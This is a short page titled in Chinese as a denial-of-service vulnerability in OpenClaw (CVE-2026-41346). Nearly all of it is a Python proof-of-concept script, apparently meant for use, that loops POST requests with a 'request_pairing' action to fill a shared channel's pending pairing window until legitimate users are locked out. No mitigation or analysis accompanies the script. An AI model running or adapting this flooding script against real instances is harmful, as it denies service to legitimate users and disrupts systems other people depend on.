CVE-2026-41346 OpenClaw拒绝服务漏洞

# Proof of Concept for CVE-2026-41346 # This script demonstrates exhausting the pending pairing request window. import requests import time def trigger_dos(target_url, channel_id): headers = {'Content-Type': 'application/json'} # Attacker uses their own account to flood the shared channel payload = { 'channel_file': channel_id, 'action': 'request_pairing' } print(f"[+] Starting DoS attack on channel: {channel_id}") try: while True: response = requests.post(target_url, json=payload, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Request sent. Pending window filling up...") elif response.status_code == 429 or "limit" in response.text.lower(): print("[!] Pending window exhausted. Legitimate users blocked.") break else: print(f"[-] Unexpected status code: {response.status_code}") break time.sleep(0.1) # Adjust rate as needed except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://vulnerable-openclaw-instance:8080/api/v1/pair" target_channel = "global_channel_01" trigger_dos(target, target_channel)